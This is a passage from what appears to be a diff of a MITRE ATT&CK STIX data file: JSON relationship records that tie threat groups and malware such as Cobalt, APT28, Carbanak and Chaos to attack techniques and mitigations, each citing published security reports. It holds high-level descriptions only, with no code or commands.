"source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "modified": "2019-07-26T23:38:33.783Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) uses DNS TXT records for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:37:57.159Z", + "type": "relationship", + "id": "relationship--4aecd118-a823-4859-9245-90155a0bbe11", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) configured its payload to inject into the rundll32.exe.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3bcfc38f-5fe8-4c66-8352-d3ba71c4f3ec", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.119Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:10:43.140Z", + "type": "relationship", + "id": "relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.024Z", + "source_ref": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used batch scripts and scheduled tasks to delete critical system files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--059f8b03-59f9-45da-9c12-862f50e5fe45", + "external_references": [ + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "modified": "2019-04-25T12:09:56.287Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) launches a scheduled task.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3c37734-1f69-44ee-9e27-480ba68c79f4", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "modified": "2019-06-24T19:07:12.539Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used WinRM to enable remote execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.075Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to gather system information from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48281b5d-ca6f-401e-bda1-24f6537dcf1d", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + } + ], + "modified": "2019-06-24T19:05:41.571Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) includes garbage code to mislead anti-malware software and researchers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d57fba3a-0ed8-49a1-9446-13a4b73c3bc5", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.027Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.", + "type": "relationship", + "created": "2017-05-31T21:33:27.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27", + "external_references": [ + { + "source_name": "Forcepoint Carbanak Google C2", + "description": "Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. Retrieved February 15, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control" + } + ], + "modified": "2019-03-22T19:59:27.037Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:27:47.775Z", + "type": "relationship", + "id": "relationship--f6483534-196c-4540-a456-985594171cd8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) identifies files with certain extensions from USB devices, then copies them to a predefined directory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f761e63a-5c5a-47e3-8256-08bd299f329e", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) supports execution from the command-line.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. 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Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.534Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) starts a rootkit from a malicious file dropped to disk.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f8340d49-ee7a-4ade-988f-3660904a18bb", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can download and upload files to the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d68649d8-4f18-48b8-93b8-82c8660fc464", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has the capability to communicate over a backup channel via plus.google.com.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.718Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-4902 to bypass security features.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e5706e1a-33a9-4404-9ef8-c8aa428363ec", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-07-27T00:09:36.081Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:13:49.673Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b5c97349-c288-43f8-9bcc-09491d0c66f5", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "Symantec Dragonfly Sept 2017", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + } + ], + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-24T19:41:25.896Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4e81078-28b4-4a68-a946-458f4d122e39", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) variants reported on in 2014 and 2015 used a simple XOR cipher for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6cbbb97e-1725-4b98-8b1b-fc0932d2a105", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--715d1910-181b-47a8-9b3c-86cba51b8ba4", + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.112Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe0c8388-46fb-4064-9837-56a23339ffaa", + "external_references": [ + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.362Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Briba](https://attack.mitre.org/software/S0204) uses rundll32 within [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060) entries to execute malicious DLLs.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--138da0bb-befa-45cd-9ca4-c74b86ac61ff", + "external_references": [ + { + "source_name": "Symantec Briba May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--25d4fa6d-4f88-4604-8b9f-cce6f3b5ae4d", + "external_references": [ + { + "source_name": "Chaos Stolen Backdoor", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "modified": "2019-05-10T18:57:53.143Z", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) gathers information on victim\u2019s drives and has a plugin for document listing.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0efc2bef-9227-4af2-b73b-bfa61a3073aa", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.167Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23d208f5-cadc-4f80-94c4-5644eaa8b7c7", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.288Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used CVE-2014-6324 to escalate privileges.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.073Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": 